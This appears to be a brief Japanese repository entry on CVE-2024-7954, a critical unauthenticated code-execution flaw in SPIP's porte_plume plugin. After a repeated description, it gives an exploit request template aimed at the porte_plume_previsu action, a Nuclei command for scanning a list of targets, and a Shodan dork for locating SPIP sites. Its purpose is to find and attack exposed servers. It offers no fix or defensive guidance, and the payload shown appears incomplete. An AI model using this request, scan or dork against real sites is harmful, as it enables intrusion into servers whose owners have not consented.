0dayan0n/rce_cve-2024-7954-SPIP 4.30-alpha2、4.2.13、および4.1.16より前のバージョンで使用されるporte_plumeプラグインには、任意のコード実行の脆弱性があります。リモートの認証されていない攻撃者は、特別に細工されたHTTPリクエストを送信することにより、SPIPユーザーとして任意のPHPコードを実行できます。(重大)
SPIP 4.30-alpha2、4.2.13、4.1.16 より前のバージョンで使用される porte_plume プラグインは、任意コード実行の脆弱性の影響を受けます。リモートの認証されていない攻撃者は、特別に細工された HTTP リクエストを送信することで、SPIP ユーザーとして任意の PHP コードを実行できます。(CRITICAL)
エクスプロイト:
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
data=AA_[->URL]_BB
使用ツール:
Nuclei -l(target file) -t(Templates) CVE-2024-7954.yml
Shodan Dork:
app="SPIP"
